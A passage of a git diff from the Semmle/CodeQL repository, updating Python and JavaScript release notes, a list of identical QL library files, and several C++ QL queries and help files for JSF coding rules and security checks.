-> `var` -> `body` +* New CFG node order: `cm` -> `` -> `var` -> `body` + +## New queries + +| **Query** | **Tags** | **Purpose** | +|-----------------------------|-----------|--------------------------------------------------------------------| +| Assert statement tests the truth value of a literal constant (`py/assert-literal-constant`) | reliability, correctness | Checks whether an assert statement is testing the truth of a literal constant value. Results are hidden on LGTM by default. | +| Flask app is run in debug mode (`py/flask-debug`) | security, external/cwe/cwe-215, external/cwe/cwe-489 | Finds instances where a Flask application is run in debug mode. Results are shown on LGTM by default. | +| Information exposure through an exception (`py/stack-trace-exposure`) | security, external/cwe/cwe-209, external/cwe/cwe-497 | Finds instances where information about an exception may be leaked to an external user. Results are shown on LGTM by default. | +| Jinja2 templating with autoescape=False (`py/jinja2/autoescape-false`) | security, external/cwe/cwe-079 | Finds instantiations of `jinja2.Environment` with `autoescape=False` which may allow XSS attacks. Results are hidden on LGTM by default. | +| Request without certificate validation (`py/request-without-cert-validation`) | security, external/cwe/cwe-295 | Finds requests where certificate verification has been explicitly turned off, possibly allowing man-in-the-middle attacks. Results are hidden on LGTM by default. | +| Use of weak cryptographic key (`py/weak-crypto-key`) | security, external/cwe/cwe-326 | Finds creation of weak cryptographic keys. Results are shown on LGTM by default. | + +## Changes to existing queries + +All taint-tracking queries now support visualization of paths in QL for Eclipse. +Most security alerts are now visible on LGTM by default. This means that you may see results that were previously hidden for the following queries: + +* Code injection (`py/code-injection`) +* Reflected server-side cross-site scripting (`py/reflective-xss`) +* SQL query built from user-controlled sources (`py/sql-injection`) +* Uncontrolled data used in path expression (`py/path-injection`) +* Uncontrolled command line (`py/command-line-injection`) + +| **Query** | **Expected impact** | **Change** | +|----------------------------|------------------------|------------------------------------------------------------------| +| Command injection (`py/command-line-injection`) | More results | Additional sinks in the `os`, and `popen` modules may find more results in some projects. | +| Encoding error (`py/encoding-error`) | Better alert location | Alerts are now shown at the start of the encoding error, rather than at the top of the file. | +| Missing call to \_\_init\_\_ during object initialization (`py/missing-call-to-init`) | Fewer false positive results | Results where it is likely that the full call chain has not been analyzed are no longer reported. | +| URL redirection from remote source (`py/url-redirection`) | Fewer false positive results | Taint is no longer tracked from the right-hand side of binary expressions. In other words `SAFE + TAINTED` is now treated as safe. | + + +## Changes to code extraction + +## Improved reporting of encoding errors + +The extractor now outputs the location of the first character that triggers an `EncodingError`. +Any queries that report encoding errors will now show results at the location of the character that caused the error. + +### Improved scalability + +Scaling is near linear to at least 20 CPU cores. + +### Improved logging + +* Five levels of logging are available: `CRITICAL`, `ERROR`, `WARN`, `INFO` and `DEBUG`. `WARN` is the default. +* LGTM uses `INFO` level logging. QL tools use `WARN` level logging by default. +* The `--verbose` flag can be specified specified multiple times to increase the logging level once per flag added. +* The `--quiet` flag can be specified multiple times to reduce the logging level once per flag added. +* Log lines are now in the `[SEVERITY] message` style and never overlap. + +## Changes to QL libraries + +* Taint-tracking analysis now understands HTTP requests in the `twisted` library. +* The analysis now handles `isinstance` and `issubclass` tests involving the basic abstract base classes better. For example, the test `issubclass(list, collections.Sequence)` is now understood to be `True` +* Taint tracking automatically tracks tainted mappings and collections, without you having to add additional taint kinds. This means that custom taints are tracked from `x` to `y` in the following flow: `l = [x]; y =l[0]`. diff --git a/change-notes/1.19/extractor-javascript.md b/change-notes/1.19/extractor-javascript.md index 0ad335af0dc..06c7b0cb0cb 100644 --- a/change-notes/1.19/extractor-javascript.md +++ b/change-notes/1.19/extractor-javascript.md @@ -2,21 +2,9 @@ # Improvements to JavaScript analysis -> NOTES -> -> Please describe your changes in terms that are suitable for -> customers to read. These notes will have only minor tidying up -> before they are published as part of the release notes. -> -> This file is written for lgtm users and should contain *only* -> notes about changes that affect lgtm enterprise users. Add -> any other customer-facing changes to the `studio-java.md` -> file. -> - ## General improvements -* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default, since they most likely contain minified code and results in these files would be hidden by default anyway. To extract such files anyway, you can add the following filters to your `lgtm.yml` file (or add them to existing filters): +* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default. These files usually contain minified code and any alerts in these files would be hidden by default. If you still want to extract code from these files, you can add the following filters to your `lgtm.yml` file (or add them to existing filters): ```yaml extraction: @@ -27,8 +15,13 @@ extraction: - include: "**/*-min.js" ``` +* The TypeScript compiler is now included in the LGTM Enterprise and QL command-line tools installations, and you no longer need to install it manually. + If you need to override the compiler version, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to + point to an installation of the `typescript` NPM package. + ## Changes to code extraction -* The TypeScript compiler is now bundled with the distribution, and no longer needs to be installed manually. - Should the compiler version need to be overridden, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to - point to an installation of the `typescript` NPM package. +The extractor now supports: + +* [Optional Chaining](https://github.com/tc39/proposal-optional-chaining) expressions. +* Additional [Flow](https://flow.org/) syntax. diff --git a/change-notes/1.20/extractor-javascript.md b/change-notes/1.20/extractor-javascript.md new file mode 100644 index 00000000000..78987512db4 --- /dev/null +++ b/change-notes/1.20/extractor-javascript.md @@ -0,0 +1,22 @@ +[[ condition: enterprise-only ]] + +# Improvements to JavaScript analysis + +> NOTES +> +> Please describe your changes in terms that are suitable for +> customers to read. These notes will have only minor tidying up +> before they are published as part of the release notes. +> +> This file is written for lgtm users and should contain *only* +> notes about changes that affect lgtm enterprise users. Add +> any other customer-facing changes to the `studio-java.md` +> file. +> + +## General improvements + +## Changes to code extraction + +* The extractor now supports [Nullish Coalescing](https://github.com/tc39/proposal-nullish-coalescing) expressions. +* The TypeScript extractor now handles the control-flow of logical operators and destructuring assignments more accurately. diff --git a/config/identical-files.json b/config/identical-files.json index 1a7813948ce..046ac536b5b 100644 --- a/config/identical-files.json +++ b/config/identical-files.json @@ -1,63 +1,102 @@ { - "C++ IR Instruction": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll" - ], - "C++ IR IRBlock": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll" - ], - "C++ IR IRVariable": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRVariable.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRVariable.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRVariable.qll" - ], - "C++ IR FunctionIR": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/FunctionIR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/FunctionIR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/FunctionIR.qll" - ], - "C++ IR Operand": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll" - ], - "C++ IR IRImpl": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IR.qll" - ], - "C++ IR IRSanityImpl": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRSanity.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRSanity.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRSanity.qll" - ], - "C++ IR PrintIRImpl": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/PrintIR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/PrintIR.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/PrintIR.qll" - ], - "C++ SSA AliasAnalysis": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/AliasAnalysis.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/AliasAnalysis.qll" - ], - "C++ SSA SimpleSSA": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SimpleSSA.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSA.qll" - ], - "C++ SSA IRBlockConstruction": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/IRBlockConstruction.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/IRBlockConstruction.qll" - ], - "C++ SSA SSAConstruction": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll" - ], - "C++ IR ValueNumber": [ - "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll", - "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll" - ] + "DataFlow Java/C++": [ + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll", + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll", + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll", + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll", + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll", + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImplDepr.qll", + "cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll", + "cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll", + "cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll", + "cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImpl4.qll", + "cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll", + "cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll", + "cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll", + "cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll" + ], + "DataFlow Java/C++ Common": [ + "java/ql/src/semmle/code/java/dataflow/internal/DataFlowImplCommon.qll", + "cpp/ql/src/semmle/code/cpp/dataflow/internal/DataFlowImplCommon.qll", + "cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll" + ], + "C++ IR Instruction": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll" + ], + "C++ IR IRBlock": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll" + ], + "C++ IR IRVariable": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRVariable.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRVariable.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRVariable.qll" + ], + "C++ IR FunctionIR": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/FunctionIR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/FunctionIR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/FunctionIR.qll" + ], + "C++ IR Operand": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll" + ], + "C++ IR IRImpl": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IR.qll" + ], + "C++ IR IRSanityImpl": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRSanity.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRSanity.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRSanity.qll" + ], + "C++ IR PrintIRImpl": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/PrintIR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/PrintIR.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/PrintIR.qll" + ], + "C++ SSA AliasAnalysis": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/AliasAnalysis.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/AliasAnalysis.qll" + ], + "C++ SSA SSAConstruction": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll" + ], + "C++ IR ValueNumber": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll" + ], + "C++ IR ConstantAnalysis": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/ConstantAnalysis.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/ConstantAnalysis.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/ConstantAnalysis.qll" + ], + "C++ IR PrintConstantAnalysis": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/PrintConstantAnalysis.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/PrintConstantAnalysis.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/PrintConstantAnalysis.qll" + ], + "C++ IR ReachableBlock": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlock.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/ReachableBlock.qll" + ], + "C++ IR PrintReachableBlock": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintReachableBlock.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintReachableBlock.qll" + ], + "C++ IR Dominance": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/Dominance.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/Dominance.qll" + ], + "C++ IR PrintDominance": [ + "cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintDominance.qll", + "cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/reachability/PrintDominance.qll" + ] } diff --git a/cpp/ql/src/Critical/NotInitialised.ql b/cpp/ql/src/Critical/NotInitialised.ql index 719cec8c301..4a336935c45 100644 --- a/cpp/ql/src/Critical/NotInitialised.ql +++ b/cpp/ql/src/Critical/NotInitialised.ql @@ -9,9 +9,7 @@ */ import cpp -// This query is the JSF version -// -// (see also InitialisationNotRun.ql and GlobalUseBeforeInit.ql) +// See also InitialisationNotRun.ql and GlobalUseBeforeInit.ql // Holds if s defines variable v (conservative) predicate defines(ControlFlowNode s, Variable lv) { diff --git a/cpp/ql/src/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql b/cpp/ql/src/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql index b83f1bc5531..a3dc2e6d571 100644 --- a/cpp/ql/src/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql +++ b/cpp/ql/src/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql @@ -1,5 +1,5 @@ /** - * @name Incorrect Not Operator Usage + * @name Incorrect 'not' operator usage * @description Usage of a logical-not (!) operator as an operand for a bit-wise operation. * This commonly indicates the usage of an incorrect operator instead of the bit-wise not (~) operator, * also known as ones' complement operator. diff --git a/cpp/ql/src/META-INF/MANIFEST.MF b/cpp/ql/src/META-INF/MANIFEST.MF deleted file mode 100644 index b7387557cc2..00000000000 --- a/cpp/ql/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,8 +0,0 @@ -Manifest-Version: 1.0 -Bundle-ManifestVersion: 2 -Bundle-Name: Semmle C/C++ Default Queries -Bundle-SymbolicName: com.semmle.plugin.semmlecode.cpp.queries;singleton:=true -Bundle-Version: 1.18.3.qualifier -Bundle-Vendor: Semmle Ltd. -Bundle-ActivationPolicy: lazy -Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]" diff --git a/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql b/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql index 1518c6c1f0f..c32ce5aae52 100644 --- a/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql +++ b/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql @@ -68,7 +68,7 @@ class NullAppNameCreateProcessFunctionConfiguration extends DataFlow::Configurat } override predicate isSource(DataFlow::Node source) { - nullValue(source.asExpr()) + source.asExpr() instanceof NullValue } override predicate isSink(DataFlow::Node sink) { diff --git a/cpp/ql/src/Security/CWE/CWE-497/ExposedSystemData.ql b/cpp/ql/src/Security/CWE/CWE-497/ExposedSystemData.ql index ef804061e97..fc214b54f8e 100644 --- a/cpp/ql/src/Security/CWE/CWE-497/ExposedSystemData.ql +++ b/cpp/ql/src/Security/CWE/CWE-497/ExposedSystemData.ql @@ -33,14 +33,7 @@ abstract class SystemData extends Element { result = getAnExpr() or // flow via global or member variable (conservative approximation) - exists(Variable var | - ( - var.getAnAssignedValue() = getAnExprIndirect() or - var.getAnAccess() = getAnExprIndirect() - ) and - result = var.getAnAccess() and - not var instanceof LocalScopeVariable - ) or + result = getAnAffectedVar().getAnAccess() or // flow via stack variable definitionUsePair(_, getAnExprIndirect(), result) or @@ -50,6 +43,17 @@ abstract class SystemData extends Element { // flow from assigned value to assignment expression result.(AssignExpr).getRValue() = getAnExprIndirect() } + + /** Gets a global or member variable that may be affected by this system + * data (conservative approximation). + */ + private Variable getAnAffectedVar() { + ( + result.getAnAssignedValue() = this.getAnExprIndirect() or + result.getAnAccess() = this.getAnExprIndirect() + ) and + not result instanceof LocalScopeVariable + } } /** diff --git a/cpp/ql/src/filters/ImportAdditionalLibraries.ql b/cpp/ql/src/filters/ImportAdditionalLibraries.ql index 261ee3de0ca..746b376f1dd 100644 --- a/cpp/ql/src/filters/ImportAdditionalLibraries.ql +++ b/cpp/ql/src/filters/ImportAdditionalLibraries.ql @@ -9,11 +9,21 @@ import cpp -import semmle.code.cpp.dataflow.DataFlow -import semmle.code.cpp.dataflow.DataFlow2 -import semmle.code.cpp.dataflow.DataFlow3 -import semmle.code.cpp.dataflow.DataFlow4 -import semmle.code.cpp.dataflow.TaintTracking +module ASTDataFlow { + import semmle.code.cpp.dataflow.DataFlow + import semmle.code.cpp.dataflow.DataFlow2 + import semmle.code.cpp.dataflow.DataFlow3 + import semmle.code.cpp.dataflow.DataFlow4 + import semmle.code.cpp.dataflow.TaintTracking +} + +module IRDataFlow { + import semmle.code.cpp.ir.dataflow.DataFlow + import semmle.code.cpp.ir.dataflow.DataFlow2 + import semmle.code.cpp.ir.dataflow.DataFlow3 + import semmle.code.cpp.ir.dataflow.DataFlow4 +} + import semmle.code.cpp.valuenumbering.HashCons from File f, string tag diff --git a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.qhelp b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.qhelp index 1a6404486ec..7513d84d526 100644 --- a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.qhelp +++ b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds calls to the standard library functions abort, exit, getenv and system. +This query highlights calls to the standard library functions abort, exit, getenv and system. The functions abort and exit should not be called as they immediately terminate the program and will bypass all the normal error and exception handling routines in the software. This is especially important in software which is run on systems without an interactive OS, as restarting the software may require a complete reboot diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8f04625c508..0acb5a43175 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -195,28 +195,31 @@ predicate freedInSameMethod(Resource r, Expr acquire) { */ predicate leakedInSameMethod(Resource r, Expr acquire) { unreleasedResource(r, acquire, _, _) and - ( - exists(FunctionCall fc | - // `r` (or something computed from it) is passed to another function - // near to where it's acquired, and might be stored elsewhere. - fc.getAnArgument().getAChild*() = r.getAnAccess() and - fc.getEnclosingFunction() = acquire.getEnclosingFunction() - ) or exists(Variable v, Expr e | - // `r` (or something computed from it) is stored in another variable - // near to where it's acquired, and might be released through that - // variable. - v.getAnAssignedValue() = e and - e.getAChild*() = r.getAnAccess() and - e.getEnclosingFunction() = acquire.getEnclosingFunction() - ) or exists(FunctionCall fc | - // `this` (i.e. the class where `r` is acquired) is passed into `r` via a - // method, or the constructor. `r` may use this to register itself with - // `this` in some way, ensuring it is later deleted. - fc.getEnclosingFunction() = acquire.getEnclosingFunction() and - fc.getAnArgument() instanceof ThisExpr and - ( - fc.getQualifier() = r.getAnAccess() or // e.g. `r->setOwner(this)` - fc = acquire.getAChild*() // e.g. `r = new MyClass(this)` + exists(Function f | + acquire.getEnclosingFunction() = f and + ( + exists(FunctionCall fc | + // `r` (or something computed from it) is passed to another function + // near to where it's acquired, and might be stored elsewhere. + fc.getAnArgument().getAChild*() = r.getAnAccess() and + fc.getEnclosingFunction() = f + ) or exists(Variable v, Expr e | + // `r` (or something computed from it) is stored in another variable + // near to where it's acquired, and might be released through that + // variable. + v.getAnAssignedValue() = e and + e.getAChild*() = r.getAnAccess() and + e.getEnclosingFunction() = f + ) or exists(FunctionCall fc | + // `this` (i.e. the class where `r` is acquired) is passed into `r` via a + // method, or the constructor. `r` may use this to register itself with + // `this` in some way, ensuring it is later deleted. + fc.getEnclosingFunction() = f and + fc.getAnArgument() instanceof ThisExpr and + ( + fc.getQualifier() = r.getAnAccess() or // e.g. `r->setOwner(this)` + fc = acquire.getAChild*() // e.g. `r = new MyClass(this)` + ) ) ) ) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql index 4624cd29931..95d499dd187 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql @@ -51,7 +51,6 @@ predicate dereferenceThis(Expr e) { * This includes functions whose body is not in the database. */ predicate returnsPointerThis(Function f) { - f.getType().getUnspecifiedType() instanceof PointerType and forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) | // `return this` pointerThis(s.getExpr()) @@ -64,7 +63,6 @@ predicate returnsPointerThis(Function f) { * database. */ predicate returnsDereferenceThis(Function f) { - f.getType().getUnspecifiedType() instanceof ReferenceType and forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) | // `return *this` dereferenceThis(s.getExpr()) @@ -76,7 +74,7 @@ predicate assignOperatorWithWrongType(Operator op, string msg) { and exists(op.getBlock()) and exists(Class c | c = op.getDeclaringType() - and op.getType() = c + and op.getType().getUnspecifiedType() = c and msg = "Assignment operator in class " + c.getName() + " should have return type " + c.getName() + "&. Otherwise a copy is created at each call." ) } diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.qhelp b/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.qhelp index a92a3beac08..61275fedefa 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.qhelp +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule ensures that all operators with opposites (e.g. == and !=) are both defined, and +This query ensures that all operators with opposites (e.g. == and !=) are both defined, and that one of them is defined in terms of the other. This just enforces the consistency of meaning of the operators.

diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.ql index fcab5ac5cd8..4f81c6518c1 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 85.ql @@ -21,23 +21,50 @@ predicate oppositeOperators(string op1, string op2) { /* this match is very syntactic: we simply check that op1 is defined as !op2(_, _) */ predicate implementedAsNegationOf(Operator op1, Operator op2) { - exists(Block b, ReturnStmt r, NotExpr n, FunctionCall c | + exists(Block b, ReturnStmt r, NotExpr n, Expr o | b = op1.getBlock() and b.getNumStmt() = 1 and r = b.getStmt(0) and n = r.getExpr() and - c = n.getOperand() and - c.getTarget() = op2) + o = n.getOperand() and + ( + o instanceof LTExpr and op2.hasName("operator<") or + o instanceof LEExpr and op2.hasName("operator<=") or + o instanceof GTExpr and op2.hasName("operator>") or + o instanceof GEExpr and op2.hasName("operator>=") or + o instanceof EQExpr and op2.hasName("operator==") or + o instanceof NEExpr and op2.hasName("operator!=") or + o.(FunctionCall).getTarget() = op2 + ) + ) +} + +predicate classIsCheckableFor(Class c, string op) { + oppositeOperators(op, _) and + // We check the template, not its instantiations + not c instanceof ClassTemplateInstantiation and + // Member functions of templates are not necessarily instantiated, so + // if the function we want to check exists, then make sure that its + // body also exists + ((c instanceof TemplateClass) + implies + forall(Function f | f = c.getAMember() and f.hasName(op) + | exists(f.getEntryPoint()))) } from Class c, string op, string opp, Operator rator where c.fromSource() and oppositeOperators(op, opp) and + classIsCheckableFor(c, op) and + classIsCheckableFor(c, opp) and rator = c.getAMember() and rator.hasName(op) and - not exists(Operator oprator | oprator = c.getAMember() and - oprator.hasName(opp) and - ( implementedAsNegationOf(rator, oprator) - or implementedAsNegationOf(oprator, rator))) + forex(Operator aRator | + aRator = c.getAMember() and aRator.hasName(op) | + not exists(Operator oprator | + oprator = c.getAMember() and + oprator.hasName(opp) and + ( implementedAsNegationOf(aRator, oprator) + or implementedAsNegationOf(oprator, aRator)))) select c, "When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator " + op + " is declared on line " + rator.getLocation().getStartLine().toString() + ", but it is not defined in terms of its opposite operator " + opp + "." diff --git a/cpp/ql/src/jsf/4.13 Functions/AV Rule 111.qhelp b/cpp/ql/src/jsf/4.13 Functions/AV Rule 111.qhelp index 577784582cc..7dbbb12dba3 100644 --- a/cpp/ql/src/jsf/4.13 Functions/AV Rule 111.qhelp +++ b/cpp/ql/src/jsf/4.13 Functions/AV Rule 111.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds return statements that return pointers to an object allocated on the stack. The lifetime +This query highlights return statements that return pointers to an object allocated on the stack. The lifetime of a stack allocated memory location only lasts until the function returns, , and the contents of that memory become undefined after that. Clearly, using a pointer to stack memory after the function has already returned will have undefined results. diff --git a/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 135.qhelp b/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 135.qhelp index 33de5f3b581..6729583ff77 100644 --- a/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 135.qhelp +++ b/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 135.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds identifiers in an inner scope that hide (have the same name as) an identifier in an outer scope. +This query highlights identifiers in an inner scope that hide (have the same name as) an identifier in an outer scope. This should be avoided as it can cause confusion about the actual variable being used in an expression.

diff --git a/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 140.qhelp b/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 140.qhelp index 50354e8788c..e184b9edd6f 100644 --- a/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 140.qhelp +++ b/cpp/ql/src/jsf/4.15 Declarations and Definitions/AV Rule 140.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds variables with the register storage class specifier. Modern compilers are now capable of +This query highlights variables with the register storage class specifier. Modern compilers are now capable of optimal register placement, and overriding it could lead to worse performance.

diff --git a/cpp/ql/src/jsf/4.17 Types/AV Rule 147.qhelp b/cpp/ql/src/jsf/4.17 Types/AV Rule 147.qhelp index 489ab0fe575..75c4f03e980 100644 --- a/cpp/ql/src/jsf/4.17 Types/AV Rule 147.qhelp +++ b/cpp/ql/src/jsf/4.17 Types/AV Rule 147.qhelp @@ -5,8 +5,12 @@ + + + +

